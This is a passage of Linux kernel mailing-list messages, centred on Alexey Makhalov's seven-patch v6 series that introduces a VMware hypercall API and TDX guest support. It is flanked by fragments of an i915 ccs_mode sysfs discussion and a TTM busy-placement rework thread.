   *   slice 0, 1, 2, 3: ccs0

?

But I don't see where it says what do different modes mean on different
SKU configurations.

It also does not say what should the num_slices sysfs file be used for.

Does "mode N" mean "assign each command streamer N compute slices"? Or
"assign each compute slice N command streamers"?

I wonder if we should add something user friendly into
Documentation/ABI/*/sysfs-... Joonas your thoughts?


We definitely should always properly document all sysfs additions, just
seems like we less frequently remember to do so. So yeah, this should be
documented just like other uAPI.

I also like the idea of not exposing the the file at all if the value
can't be modified.

The ccs_mode is just supposed to allow user to select how many CCS
engines they want to expose, and always make an even split of slices
between them, nothing more nothing less.


Hmm I can't see that the series changes anywhere what command streamers 
will get reported as available.


Regards,

Tvrtko

[PATCH v6 7/7] x86/vmware: Add TDX hypercall support

[Alexey Makhalov]

VMware hypercalls use I/O port, VMCALL or VMMCALL instructions.
Add __tdx_hypercall path to support TDX guests.

No change in high bandwidth hypercalls, as only low bandwidth
ones are supported for TDX guests.

Co-developed-by: Tim Merrifield 
Signed-off-by: Tim Merrifield 
Signed-off-by: Alexey Makhalov 
Reviewed-by: Nadav Amit 
Acked-by: Kirill A. Shutemov 
---
 arch/x86/include/asm/vmware.h | 79 +++
 arch/x86/kernel/cpu/vmware.c  | 25 +++
 2 files changed, 104 insertions(+)

diff --git a/arch/x86/include/asm/vmware.h b/arch/x86/include/asm/vmware.h
index 84a31f579a30..3bd593c6591d 100644
--- a/arch/x86/include/asm/vmware.h
+++ b/arch/x86/include/asm/vmware.h
@@ -18,6 +18,12 @@
  * arg2 - Hypercall command
  * arg3 bits [15:0] - Port number, LB and direction flags
  *
+ * - Low bandwidth TDX hypercalls (x86_64 only) are similar to LB
+ * hypercalls. They also have up to 6 input and 6 output on registers
+ * arguments, with different argument to register mapping:
+ * %r12 (arg0), %rbx (arg1), %r13 (arg2), %rdx (arg3),
+ * %rsi (arg4), %rdi (arg5).
+ *
  * - High bandwidth (HB) hypercalls are I/O port based only. They have
  * up to 7 input and 7 output arguments passed and returned using
  * registers: %eax (arg0), %ebx (arg1), %ecx (arg2), %edx (arg3),
@@ -54,12 +60,61 @@
 #define VMWARE_CMD_GETHZ   45
 #define VMWARE_CMD_GETVCPU_INFO68
 #define VMWARE_CMD_STEALCLOCK  91
+/*
+ * Hypercall command mask:
+ *   bits [6:0] command, range [0, 127]
+ *   bits [19:16] sub-command, range [0, 15]
+ */
+#define VMWARE_CMD_MASK0xf007fU
 
 #define CPUID_VMWARE_FEATURES_ECX_VMMCALL  BIT(0)
 #define CPUID_VMWARE_FEATURES_ECX_VMCALL   BIT(1)
 
 extern u8 vmware_hypercall_mode;
 
+#define VMWARE_TDX_VENDOR_LEAF 0x1af7e4909ULL
+#define VMWARE_TDX_HCALL_FUNC  1
+
+extern unsigned long vmware_tdx_hypercall(unsigned long cmd,
+ struct tdx_module_args *args);
+
+/*
+ * TDCALL[TDG.VP.VMCALL] uses %rax (arg0) and %rcx (arg2). Therefore,
+ * we remap those registers to %r12 and %r13, respectively.
+ */
+static inline
+unsigned long vmware_tdx_hypercall_args(unsigned long cmd, unsigned long in1,
+   unsigned long in3, unsigned long in4,
+   unsigned long in5,
+   uint32_t *out1, uint32_t *out2,
+   uint32_t *out3, uint32_t *out4,
+   uint32_t *out5)
+{
+   unsigned long ret;
+
+   struct tdx_module_args args = {
+   .rbx = in1,
+   .rdx = in3,
+   .rsi = in4,
+   .rdi = in5,
+   };
+
+   ret = vmware_tdx_hypercall(cmd, );
+
+   if (out1)
+   *out1 = args.rbx;
+   if (out2)
+   *out2 = args.r13;
+   if (out3)
+   *out3 = args.rdx;
+   if (out4)
+   *out4 = args.rsi;
+   if (out5)
+   *out5 = args.rdi;
+
+   return ret;
+}
+
 /*
  * The low bandwidth call. The low word of %edx is presumed to have OUT bit
  * set. The high word of %edx may contain input data from the caller.
@@ -87,6 +142,10 @@ unsigned long vmware_hypercall1(unsigned long cmd, unsigned 
long in1)
 {
unsigned long out0;
 
+   if (cpu_feature_enabled(X86_FEATURE_TDX_GUEST))
+   return vmware_tdx_hypercall_args(cmd, in1, 0, 0, 0,
+NULL, NULL, NULL, NULL, NULL);
+
asm_inline volatile (VMWARE_HYPERCALL
: "=a" (out0)
: [port] "i" (VMWARE_HYPERVISOR_PORT),
@@ -105,6 +164,10 @@ unsigned long vmware_hypercall3(unsigned long cmd, 
unsigned long in1,
 {
unsigned long out0;
 
+   if (cpu_feature_enabled(X86_FEATURE_TDX_GUEST))
+   return vmware_tdx_hypercall_args(cmd, in1, 0, 0, 0,
+out1, out2, NULL, NULL, NULL);
+
asm_inline volatile (VMWARE_HYPERCALL
: "=a" (out0), "=b" (*out1), "=c" (*out2)
: [port] "i" (VMWARE_HYPERVISOR_PORT),
@@ -124,6 +187,10 @@ unsigned long vmware_hypercall4(unsigned long cmd, 
unsigned long in1,
 {
unsigned long out0;
 
+   if (cpu_feature_enabled(X86_FEATURE_TDX_GUEST))
+   return vmware_tdx_hypercall_args(cmd, in1, 0, 0, 0,
+out1, out2, out3, NULL, NULL);
+
asm_inline volatile (VMWARE_HYPERCALL
: "=a" (out0), "=b" (*out1), "=c" (*out2), "=d" (*out3)
: [port] "i" (VMWARE_HYPERVISOR_PORT),
@@ -143,6 +210,10 @@ unsigned long vmware_hypercall5(unsigned long cmd, 
unsigned long in1,
 {
unsigned long out0;
 
+   if (cpu_feature_enabled(X86_FEATURE_TDX_GUEST))
+   return vmware_tdx_hypercall_args(cmd, in1, in3, in4, in5,
+

[PATCH v6 6/7] x86/vmware: Undefine VMWARE_HYPERCALL

[Alexey Makhalov]

No more direct use of VMWARE_HYPERCALL macro should be allowed.

Signed-off-by: Alexey Makhalov 
---
 arch/x86/include/asm/vmware.h | 1 +
 1 file changed, 1 insertion(+)

diff --git a/arch/x86/include/asm/vmware.h b/arch/x86/include/asm/vmware.h
index 2ac87068184a..84a31f579a30 100644
--- a/arch/x86/include/asm/vmware.h
+++ b/arch/x86/include/asm/vmware.h
@@ -273,5 +273,6 @@ unsigned long vmware_hypercall_hb_in(unsigned long cmd, 
unsigned long in2,
 }
 #undef VMW_BP_REG
 #undef VMW_BP_CONSTRAINT
+#undef VMWARE_HYPERCALL
 
 #endif
-- 
2.39.0

[PATCH v6 5/7] drm/vmwgfx: Use VMware hypercall API

[Alexey Makhalov]

Switch from VMWARE_HYPERCALL macro to vmware_hypercall API.
Eliminate arch specific code.

drivers/gpu/drm/vmwgfx/vmwgfx_msg_arm64.h: implement arm64 variant
of vmware_hypercall. And keep it here until introduction of ARM64
VMWare hypervisor interface.

Signed-off-by: Alexey Makhalov 
Reviewed-by: Nadav Amit 
Reviewed-by: Zack Rusin 
---
 drivers/gpu/drm/vmwgfx/vmwgfx_msg.c   | 173 +++
 drivers/gpu/drm/vmwgfx/vmwgfx_msg_arm64.h | 197 +++---
 drivers/gpu/drm/vmwgfx/vmwgfx_msg_x86.h   | 187 
 3 files changed, 197 insertions(+), 360 deletions(-)

diff --git a/drivers/gpu/drm/vmwgfx/vmwgfx_msg.c 
b/drivers/gpu/drm/vmwgfx/vmwgfx_msg.c
index 2651fe0ef518..1f15990d3934 100644
--- a/drivers/gpu/drm/vmwgfx/vmwgfx_msg.c
+++ b/drivers/gpu/drm/vmwgfx/vmwgfx_msg.c
@@ -48,8 +48,6 @@
 
 #define RETRIES 3
 
-#define VMW_HYPERVISOR_MAGIC0x564D5868
-
 #define VMW_PORT_CMD_MSG30
 #define VMW_PORT_CMD_HB_MSG 0
 #define VMW_PORT_CMD_OPEN_CHANNEL  (MSG_TYPE_OPEN << 16 | VMW_PORT_CMD_MSG)
@@ -104,20 +102,18 @@ static const char* const 
mksstat_kern_name_desc[MKSSTAT_KERN_COUNT][2] =
  */
 static int vmw_open_channel(struct rpc_channel *channel, unsigned int protocol)
 {
-   unsigned long eax, ebx, ecx, edx, si = 0, di = 0;
+   u32 ecx, edx, esi, edi;
 
-   VMW_PORT(VMW_PORT_CMD_OPEN_CHANNEL,
-   (protocol | GUESTMSG_FLAG_COOKIE), si, di,
-   0,
-   VMW_HYPERVISOR_MAGIC,
-   eax, ebx, ecx, edx, si, di);
+   vmware_hypercall6(VMW_PORT_CMD_OPEN_CHANNEL,
+ (protocol | GUESTMSG_FLAG_COOKIE), 0,
+ , , , );
 
if ((HIGH_WORD(ecx) & MESSAGE_STATUS_SUCCESS) == 0)
return -EINVAL;
 
channel->channel_id  = HIGH_WORD(edx);
-   channel->cookie_high = si;
-   channel->cookie_low  = di;
+   channel->cookie_high = esi;
+   channel->cookie_low  = edi;
 
return 0;
 }
@@ -133,17 +129,13 @@ static int vmw_open_channel(struct rpc_channel *channel, 
unsigned int protocol)
  */
 static int vmw_close_channel(struct rpc_channel *channel)
 {
-   unsigned long eax, ebx, ecx, edx, si, di;
-
-   /* Set up additional parameters */
-   si  = channel->cookie_high;
-   di  = channel->cookie_low;
+   u32 ecx;
 
-   VMW_PORT(VMW_PORT_CMD_CLOSE_CHANNEL,
-   0, si, di,
-   channel->channel_id << 16,
-   VMW_HYPERVISOR_MAGIC,
-   eax, ebx, ecx, edx, si, di);
+   vmware_hypercall5(VMW_PORT_CMD_CLOSE_CHANNEL,
+ 0, channel->channel_id << 16,
+ channel->cookie_high,
+ channel->cookie_low,
+ );
 
if ((HIGH_WORD(ecx) & MESSAGE_STATUS_SUCCESS) == 0)
return -EINVAL;
@@ -163,24 +155,18 @@ static int vmw_close_channel(struct rpc_channel *channel)
 static unsigned long vmw_port_hb_out(struct rpc_channel *channel,
 const char *msg, bool hb)
 {
-   unsigned long si, di, eax, ebx, ecx, edx;
+   u32 ebx, ecx;
unsigned long msg_len = strlen(msg);
 
/* HB port can't access encrypted memory. */
if (hb && !cc_platform_has(CC_ATTR_MEM_ENCRYPT)) {
-   unsigned long bp = channel->cookie_high;
-   u32 channel_id = (channel->channel_id << 16);
-
-   si = (uintptr_t) msg;
-   di = channel->cookie_low;
-
-   VMW_PORT_HB_OUT(
+   vmware_hypercall_hb_out(
(MESSAGE_STATUS_SUCCESS << 16) | VMW_PORT_CMD_HB_MSG,
-   msg_len, si, di,
-   VMWARE_HYPERVISOR_HB | channel_id |
-   VMWARE_HYPERVISOR_OUT,
-   VMW_HYPERVISOR_MAGIC, bp,
-   eax, ebx, ecx, edx, si, di);
+   msg_len,
+   channel->channel_id << 16,
+   (uintptr_t) msg, channel->cookie_low,
+   channel->cookie_high,
+   );
 
return ebx;
}
@@ -194,14 +180,13 @@ static unsigned long vmw_port_hb_out(struct rpc_channel 
*channel,
memcpy(, msg, bytes);
msg_len -= bytes;
msg += bytes;
-   si = channel->cookie_high;
-   di = channel->cookie_low;
-
-   VMW_PORT(VMW_PORT_CMD_MSG | (MSG_TYPE_SENDPAYLOAD << 16),
-word, si, di,
-channel->channel_id << 16,
-VMW_HYPERVISOR_MAGIC,
-eax, ebx, ecx, edx, si, di);
+
+   vmware_hypercall5(VMW_PORT_CMD_MSG |
+ (MSG_TYPE_SENDPAYLOAD << 16),
+ word, channel->channel_id << 16,
+ channel->cookie_high,
+   

[PATCH v6 4/7] input/vmmouse: Use VMware hypercall API

[Alexey Makhalov]

Switch from VMWARE_HYPERCALL macro to vmware_hypercall API.
Eliminate arch specific code. No functional changes intended.

Signed-off-by: Alexey Makhalov 
Reviewed-by: Nadav Amit 
Reviewed-by: Zack Rusin 
Acked-by: Dmitry Torokhov 
---
 drivers/input/mouse/vmmouse.c | 78 ++-
 1 file changed, 22 insertions(+), 56 deletions(-)

diff --git a/drivers/input/mouse/vmmouse.c b/drivers/input/mouse/vmmouse.c
index ad94c835ee66..fb1d986a6895 100644
--- a/drivers/input/mouse/vmmouse.c
+++ b/drivers/input/mouse/vmmouse.c
@@ -21,19 +21,16 @@
 #include "psmouse.h"
 #include "vmmouse.h"
 
-#define VMMOUSE_PROTO_MAGIC0x564D5868U
-
 /*
  * Main commands supported by the vmmouse hypervisor port.
  */
-#define VMMOUSE_PROTO_CMD_GETVERSION   10
-#define VMMOUSE_PROTO_CMD_ABSPOINTER_DATA  39
-#define VMMOUSE_PROTO_CMD_ABSPOINTER_STATUS40
-#define VMMOUSE_PROTO_CMD_ABSPOINTER_COMMAND   41
-#define VMMOUSE_PROTO_CMD_ABSPOINTER_RESTRICT   86
+#define VMWARE_CMD_ABSPOINTER_DATA 39
+#define VMWARE_CMD_ABSPOINTER_STATUS   40
+#define VMWARE_CMD_ABSPOINTER_COMMAND  41
+#define VMWARE_CMD_ABSPOINTER_RESTRICT 86
 
 /*
- * Subcommands for VMMOUSE_PROTO_CMD_ABSPOINTER_COMMAND
+ * Subcommands for VMWARE_CMD_ABSPOINTER_COMMAND
  */
 #define VMMOUSE_CMD_ENABLE 0x45414552U
 #define VMMOUSE_CMD_DISABLE0x00f5U
@@ -76,30 +73,6 @@ struct vmmouse_data {
char dev_name[128];
 };
 
-/*
- * Hypervisor-specific bi-directional communication channel
- * implementing the vmmouse protocol. Should never execute on
- * bare metal hardware.
- */
-#define VMMOUSE_CMD(cmd, in1, out1, out2, out3, out4)  \
-({ \
-   unsigned long __dummy1, __dummy2;   \
-   __asm__ __volatile__ (VMWARE_HYPERCALL :\
-   "=a"(out1), \
-   "=b"(out2), \
-   "=c"(out3), \
-   "=d"(out4), \
-   "=S"(__dummy1), \
-   "=D"(__dummy2) :\
- [port] "i" (VMWARE_HYPERVISOR_PORT),  \
- [mode] "m" (vmware_hypercall_mode),   \
-   "a"(VMMOUSE_PROTO_MAGIC),   \
-   "b"(in1),   \
-   "c"(VMMOUSE_PROTO_CMD_##cmd),   \
-   "d"(0) :\
-   "memory");  \
-})
-
 /**
  * vmmouse_report_button - report button state on the correct input device
  *
@@ -147,14 +120,12 @@ static psmouse_ret_t vmmouse_report_events(struct psmouse 
*psmouse)
struct input_dev *abs_dev = priv->abs_dev;
struct input_dev *pref_dev;
u32 status, x, y, z;
-   u32 dummy1, dummy2, dummy3;
unsigned int queue_length;
unsigned int count = 255;
 
while (count--) {
/* See if we have motion data. */
-   VMMOUSE_CMD(ABSPOINTER_STATUS, 0,
-   status, dummy1, dummy2, dummy3);
+   status = vmware_hypercall1(VMWARE_CMD_ABSPOINTER_STATUS, 0);
if ((status & VMMOUSE_ERROR) == VMMOUSE_ERROR) {
psmouse_err(psmouse, "failed to fetch status data\n");
/*
@@ -174,7 +145,8 @@ static psmouse_ret_t vmmouse_report_events(struct psmouse 
*psmouse)
}
 
/* Now get it */
-   VMMOUSE_CMD(ABSPOINTER_DATA, 4, status, x, y, z);
+   status = vmware_hypercall4(VMWARE_CMD_ABSPOINTER_DATA, 4,
+  , , );
 
/*
 * And report what we've got. Prefer to report button
@@ -249,14 +221,10 @@ static psmouse_ret_t vmmouse_process_byte(struct psmouse 
*psmouse)
 static void vmmouse_disable(struct psmouse *psmouse)
 {
u32 status;
-   u32 dummy1, dummy2, dummy3, dummy4;
-
-   VMMOUSE_CMD(ABSPOINTER_COMMAND, VMMOUSE_CMD_DISABLE,
-   dummy1, dummy2, dummy3, dummy4);
 
-   VMMOUSE_CMD(ABSPOINTER_STATUS, 0,
-   status, dummy1, dummy2, dummy3);
+   vmware_hypercall1(VMWARE_CMD_ABSPOINTER_COMMAND, VMMOUSE_CMD_DISABLE);
 
+   status = vmware_hypercall1(VMWARE_CMD_ABSPOINTER_STATUS, 0);
if ((status & VMMOUSE_ERROR) != VMMOUSE_ERROR)
psmouse_warn(psmouse, "failed to disable vmmouse device\n");
 }
@@ -273,26 +241,24 @@ static void vmmouse_disable(struct psmouse *psmouse)
 static int vmmouse_enable(struct psmouse *psmouse)
 {
u32 status, version;
-   u32 dummy1, dummy2, dummy3, dummy4;
 
/*
 * Try enabling the device. If successful, we should be able to
 * read valid version ID back from it.
 */
-   VMMOUSE_CMD(ABSPOINTER_COMMAND, 

[PATCH v6 3/7] ptp/vmware: Use VMware hypercall API

[Alexey Makhalov]

Switch from VMWARE_HYPERCALL macro to vmware_hypercall API.
Eliminate arch specific code. No functional changes intended.

Signed-off-by: Alexey Makhalov 
Reviewed-by: Nadav Amit 
Reviewed-by: Jeff Sipek 
---
 drivers/ptp/ptp_vmw.c | 14 +++---
 1 file changed, 3 insertions(+), 11 deletions(-)

diff --git a/drivers/ptp/ptp_vmw.c b/drivers/ptp/ptp_vmw.c
index 279d191d2df9..e5bb521b9b82 100644
--- a/drivers/ptp/ptp_vmw.c
+++ b/drivers/ptp/ptp_vmw.c
@@ -14,7 +14,6 @@
 #include 
 #include 
 
-#define VMWARE_MAGIC 0x564D5868
 #define VMWARE_CMD_PCLK(nr) ((nr << 16) | 97)
 #define VMWARE_CMD_PCLK_GETTIME VMWARE_CMD_PCLK(0)
 
@@ -24,17 +23,10 @@ static struct ptp_clock *ptp_vmw_clock;
 
 static int ptp_vmw_pclk_read(u64 *ns)
 {
-   u32 ret, nsec_hi, nsec_lo, unused1, unused2, unused3;
-
-   asm volatile (VMWARE_HYPERCALL :
-   "=a"(ret), "=b"(nsec_hi), "=c"(nsec_lo), "=d"(unused1),
-   "=S"(unused2), "=D"(unused3) :
-   [port] "i" (VMWARE_HYPERVISOR_PORT),
-   [mode] "m" (vmware_hypercall_mode),
-   "a"(VMWARE_MAGIC), "b"(0),
-   "c"(VMWARE_CMD_PCLK_GETTIME), "d"(0) :
-   "memory");
+   u32 ret, nsec_hi, nsec_lo;
 
+   ret = vmware_hypercall3(VMWARE_CMD_PCLK_GETTIME, 0,
+   _hi, _lo);
if (ret == 0)
*ns = ((u64)nsec_hi << 32) | nsec_lo;
return ret;
-- 
2.39.0

[PATCH v6 2/7] x86/vmware: Introduce VMware hypercall API

[Alexey Makhalov]

Introduce vmware_hypercall family of functions. It is a common
implementation to be used by the VMware guest code and virtual
device drivers in architecture independent manner.

The API consists of vmware_hypercallX and vmware_hypercall_hb_{out,in}
set of functions by analogy with KVM hypercall API. Architecture
specific implementation is hidden inside.

It will simplify future enhancements in VMware hypercalls such
as SEV-ES and TDX related changes without needs to modify a
caller in device drivers code.

Current implementation extends an idea from commit bac7b4e84323
("x86/vmware: Update platform detection code for VMCALL/VMMCALL
hypercalls") to have a slow, but safe path in VMWARE_HYPERCALL
earlier during the boot when alternatives are not yet applied.
This logic was inherited from VMWARE_CMD from the commit mentioned
above. Default alternative code was optimized by size to reduce
excessive nop alignment once alternatives are applied. Total
default code size is 26 bytes, in worse case (3 bytes alternative)
remaining 23 bytes will be aligned by only 3 long NOP instructions.

Signed-off-by: Alexey Makhalov 
Reviewed-by: Nadav Amit 
Reviewed-by: Jeff Sipek 
---
 arch/x86/include/asm/vmware.h   | 288 +++-
 arch/x86/kernel/cpu/vmware.c|  35 ++-
 drivers/gpu/drm/vmwgfx/vmwgfx_msg_x86.h |   6 +-
 drivers/input/mouse/vmmouse.c   |   2 +
 drivers/ptp/ptp_vmw.c   |   2 +
 5 files changed, 252 insertions(+), 81 deletions(-)

diff --git a/arch/x86/include/asm/vmware.h b/arch/x86/include/asm/vmware.h
index de257611..2ac87068184a 100644
--- a/arch/x86/include/asm/vmware.h
+++ b/arch/x86/include/asm/vmware.h
@@ -7,14 +7,37 @@
 #include 
 
 /*
- * The hypercall definitions differ in the low word of the %edx argument
+ * VMware hypercall ABI.
+ *
+ * - Low bandwidth (LB) hypercalls (I/O port based, vmcall and vmmcall)
+ * have up to 6 input and 6 output arguments passed and returned using
+ * registers: %eax (arg0), %ebx (arg1), %ecx (arg2), %edx (arg3),
+ * %esi (arg4), %edi (arg5).
+ * The following input arguments must be initialized by the caller:
+ * arg0 - VMWARE_HYPERVISOR_MAGIC
+ * arg2 - Hypercall command
+ * arg3 bits [15:0] - Port number, LB and direction flags
+ *
+ * - High bandwidth (HB) hypercalls are I/O port based only. They have
+ * up to 7 input and 7 output arguments passed and returned using
+ * registers: %eax (arg0), %ebx (arg1), %ecx (arg2), %edx (arg3),
+ * %esi (arg4), %edi (arg5), %ebp (arg6).
+ * The following input arguments must be initialized by the caller:
+ * arg0 - VMWARE_HYPERVISOR_MAGIC
+ * arg1 - Hypercall command
+ * arg3 bits [15:0] - Port number, HB and direction flags
+ *
+ * For compatibility purposes, x86_64 systems use only lower 32 bits
+ * for input and output arguments.
+ *
+ * The hypercall definitions differ in the low word of the %edx (arg3)
  * in the following way: the old I/O port based interface uses the port
  * number to distinguish between high- and low bandwidth versions, and
  * uses IN/OUT instructions to define transfer direction.
  *
  * The new vmcall interface instead uses a set of flags to select
  * bandwidth mode and transfer direction. The flags should be loaded
- * into %dx by any user and are automatically replaced by the port
+ * into arg3 by any user and are automatically replaced by the port
  * number if the I/O port method is used.
  */
 
@@ -37,69 +60,218 @@
 
 extern u8 vmware_hypercall_mode;
 
-/* The low bandwidth call. The low word of edx is presumed clear. */
-#define VMWARE_HYPERCALL   \
-   ALTERNATIVE_2("movw $" __stringify(VMWARE_HYPERVISOR_PORT) ", %%dx; " \
- "inl (%%dx), %%eax",  \
- "vmcall", X86_FEATURE_VMCALL, \
- "vmmcall", X86_FEATURE_VMW_VMMCALL)
-
 /*
- * The high bandwidth out call. The low word of edx is presumed to have the
- * HB and OUT bits set.
+ * The low bandwidth call. The low word of %edx is presumed to have OUT bit
+ * set. The high word of %edx may contain input data from the caller.
  */
-#define VMWARE_HYPERCALL_HB_OUT
\
-   ALTERNATIVE_2("movw $" __stringify(VMWARE_HYPERVISOR_PORT_HB) ", %%dx; 
" \
- "rep outsb",  \
+#define VMWARE_HYPERCALL   \
+   ALTERNATIVE_3("cmpb $"  \
+   __stringify(CPUID_VMWARE_FEATURES_ECX_VMMCALL)  \
+   ", %[mode]\n\t" \
+ "jg 2f\n\t"   \
+ "je 1f\n\t"   \
+ "movw %[port], %%dx\n\t"  \
+ "inl (%%dx), %%eax\n\t" 

[PATCH v6 1/7] x86/vmware: Move common macros to vmware.h

[Alexey Makhalov]

Move VMware hypercall macros to vmware.h. This is a prerequisite for
the introduction of vmware_hypercall API. No functional changes besides
exporting vmware_hypercall_mode symbol.

Signed-off-by: Alexey Makhalov 
Reviewed-by: Nadav Amit 
---
 arch/x86/include/asm/vmware.h | 72 +--
 arch/x86/kernel/cpu/vmware.c  | 57 +++
 2 files changed, 66 insertions(+), 63 deletions(-)

diff --git a/arch/x86/include/asm/vmware.h b/arch/x86/include/asm/vmware.h
index ac9fc51e2b18..de257611 100644
--- a/arch/x86/include/asm/vmware.h
+++ b/arch/x86/include/asm/vmware.h
@@ -8,25 +8,34 @@
 
 /*
  * The hypercall definitions differ in the low word of the %edx argument
- * in the following way: the old port base interface uses the port
- * number to distinguish between high- and low bandwidth versions.
+ * in the following way: the old I/O port based interface uses the port
+ * number to distinguish between high- and low bandwidth versions, and
+ * uses IN/OUT instructions to define transfer direction.
  *
  * The new vmcall interface instead uses a set of flags to select
  * bandwidth mode and transfer direction. The flags should be loaded
  * into %dx by any user and are automatically replaced by the port
- * number if the VMWARE_HYPERVISOR_PORT method is used.
- *
- * In short, new driver code should strictly use the new definition of
- * %dx content.
+ * number if the I/O port method is used.
  */
 
-/* Old port-based version */
-#define VMWARE_HYPERVISOR_PORT0x5658
-#define VMWARE_HYPERVISOR_PORT_HB 0x5659
+#define VMWARE_HYPERVISOR_HB   BIT(0)
+#define VMWARE_HYPERVISOR_OUT  BIT(1)
+
+#define VMWARE_HYPERVISOR_PORT 0x5658
+#define VMWARE_HYPERVISOR_PORT_HB  (VMWARE_HYPERVISOR_PORT | \
+VMWARE_HYPERVISOR_HB)
+
+#define VMWARE_HYPERVISOR_MAGIC0x564d5868U
+
+#define VMWARE_CMD_GETVERSION  10
+#define VMWARE_CMD_GETHZ   45
+#define VMWARE_CMD_GETVCPU_INFO68
+#define VMWARE_CMD_STEALCLOCK  91
+
+#define CPUID_VMWARE_FEATURES_ECX_VMMCALL  BIT(0)
+#define CPUID_VMWARE_FEATURES_ECX_VMCALL   BIT(1)
 
-/* Current vmcall / vmmcall version */
-#define VMWARE_HYPERVISOR_HB   BIT(0)
-#define VMWARE_HYPERVISOR_OUT  BIT(1)
+extern u8 vmware_hypercall_mode;
 
 /* The low bandwidth call. The low word of edx is presumed clear. */
 #define VMWARE_HYPERCALL   \
@@ -54,4 +63,43 @@
  "rep insb",   \
  "vmcall", X86_FEATURE_VMCALL, \
  "vmmcall", X86_FEATURE_VMW_VMMCALL)
+
+#define VMWARE_PORT(cmd, eax, ebx, ecx, edx)   \
+   __asm__("inl (%%dx), %%eax" :   \
+   "=a"(eax), "=c"(ecx), "=d"(edx), "=b"(ebx) :\
+   "a"(VMWARE_HYPERVISOR_MAGIC),   \
+   "c"(VMWARE_CMD_##cmd),  \
+   "d"(VMWARE_HYPERVISOR_PORT), "b"(UINT_MAX) :\
+   "memory")
+
+#define VMWARE_VMCALL(cmd, eax, ebx, ecx, edx) \
+   __asm__("vmcall" :  \
+   "=a"(eax), "=c"(ecx), "=d"(edx), "=b"(ebx) :\
+   "a"(VMWARE_HYPERVISOR_MAGIC),   \
+   "c"(VMWARE_CMD_##cmd),  \
+   "d"(0), "b"(UINT_MAX) : \
+   "memory")
+
+#define VMWARE_VMMCALL(cmd, eax, ebx, ecx, edx)
\
+   __asm__("vmmcall" : \
+   "=a"(eax), "=c"(ecx), "=d"(edx), "=b"(ebx) :\
+   "a"(VMWARE_HYPERVISOR_MAGIC),   \
+   "c"(VMWARE_CMD_##cmd),  \
+   "d"(0), "b"(UINT_MAX) : \
+   "memory")
+
+#define VMWARE_CMD(cmd, eax, ebx, ecx, edx) do {   \
+   switch (vmware_hypercall_mode) {\
+   case CPUID_VMWARE_FEATURES_ECX_VMCALL:  \
+   VMWARE_VMCALL(cmd, eax, ebx, ecx, edx); \
+   break;  \
+   case CPUID_VMWARE_FEATURES_ECX_VMMCALL: \
+   VMWARE_VMMCALL(cmd, eax, ebx, ecx, edx);\
+   break;  \
+   default:\
+   VMWARE_PORT(cmd, eax, ebx, ecx, edx);   \
+   break;  \
+   }   \
+   } while (0)
+
 #endif
diff --git 

[PATCH v6 0/7] VMware hypercalls enhancements

[Alexey Makhalov]

VMware hypercalls invocations were all spread out across the kernel
implementing same ABI as in-place asm-inline. With encrypted memory
and confidential computing it became harder to maintain every changes
in these hypercall implementations.

Intention of this patchset is to introduce arch independent VMware
hypercall API layer other subsystems such as device drivers can call
to, while hiding architecture specific implementation behind.

Second patch introduces the vmware_hypercall low and high bandwidth
families of functions, with little enhancements there.
Sixth patch adds tdx hypercall support

arm64 implementation of vmware_hypercalls is in drivers/gpu/drm/
vmwgfx/vmwgfx_msg_arm64.h and going to be moved to arch/arm64 with
a separate patchset with the introduction of VMware Linux guest
support for arm64.

No functional changes in drivers/input/mouse/vmmouse.c and
drivers/ptp/ptp_vmw.c

v5->v6 change:
- Added ack by Kirill A. Shutemov in patch 7. 

v4->v5 changes:
  [patch 2]:
- Fixed the problem reported by Simon Horman where build fails after
  patch 2 application. Do not undefine VMWARE_HYPERCALL for now, and
  update vmwgfx, vmmouse and ptp_vmw code for new VMWARE_HYPERCALL macro.
- Introduce new patch 6 to undefine VMWARE_HYPERCALL, which is safe to do
  after patches 3 to 5.
- [patch 7 (former patch 6)]: Add missing r15 (CPL) initialization.

v3->v4 changes: (no functional changes in patches 1-5)
  [patch 2]:
- Added the comment with VMware hypercall ABI description.
  [patch 6]:
- vmware_tdx_hypercall_args remove in6/out6 arguments as excessive.
- vmware_tdx_hypercall return ULONG_MAX on error to mimic bad hypercall
  command error from the hypervisor.
- Replaced pr_warn by pr_warn_once as pointed by Kirill Shutemov.
- Fixed the warning reported by Intel's kernel test robot.
- Added the comment describing VMware TDX hypercall ABI.

v2->v3 changes: (no functional changes in patches 1-5)
- Improved commit message in patches 1, 2 and 5 as was suggested by
  Borislav Petkov.
- To address Dave Hansen's concern, patch 6 was reorganized to avoid
  exporting bare __tdx_hypercall and to make exported vmware_tdx_hypercall
  VMWare guest specific.

v1->v2 changes (no functional changes):
- Improved commit message in patches 2 and 5.
- Added Reviewed-by for all patches.
- Added Ack from Dmitry Torokhov in patch 4. No fixes regarding reported
  by Simon Horman gcc error in this patch.

Alexey Makhalov (7):
  x86/vmware: Move common macros to vmware.h
  x86/vmware: Introduce VMware hypercall API
  ptp/vmware: Use VMware hypercall API
  input/vmmouse: Use VMware hypercall API
  drm/vmwgfx: Use VMware hypercall API
  x86/vmware: Undefine VMWARE_HYPERCALL
  x86/vmware: Add TDX hypercall support

 arch/x86/include/asm/vmware.h | 364 --
 arch/x86/kernel/cpu/vmware.c  | 117 +++
 drivers/gpu/drm/vmwgfx/vmwgfx_msg.c   | 173 --
 drivers/gpu/drm/vmwgfx/vmwgfx_msg_arm64.h | 197 
 drivers/gpu/drm/vmwgfx/vmwgfx_msg_x86.h   | 185 ---
 drivers/input/mouse/vmmouse.c |  76 ++---
 drivers/ptp/ptp_vmw.c |  12 +-
 7 files changed, 599 insertions(+), 525 deletions(-)

-- 
2.39.0

Re: Rework TTMs busy handling

[Christian König]

Am 09.01.24 um 09:14 schrieb Thomas Hellström:

Hi, Christian

On Tue, 2024-01-09 at 08:47 +0100, Christian König wrote:

Hi guys,

I'm trying to make this functionality a bit more useful for years now
since we multiple reports that behavior of drivers can be suboptimal
when multiple placements be given.

So basically instead of hacking around the TTM behavior in the driver
once more I've gone ahead and changed the idle/busy placement list
into idle/busy placement flags. This not only saves a bunch of code,
but also allows setting some placements as fallback which are used if
allocating from the preferred ones didn't worked.

Zack pointed out that some removed VMWGFX code was brought back
because
of rebasing, fixed in this version.

Intel CI seems to be happy with those patches, so any more comments?

Looks like Xe changes are missing? (xe is now in drm-tip).

I also have some doubts about the naming "idle" vs "busy", since an
elaborate eviction mechanism would probably at some point want to check
for gpu idle vs gpu busy, and this might create some confusion moving
forward for people confusing busy as in memory overcommit with busy as
in gpu activity.

I can't immediately think of something better, though.


Yeah, I was wondering about that as well. Especially since I wanted to 
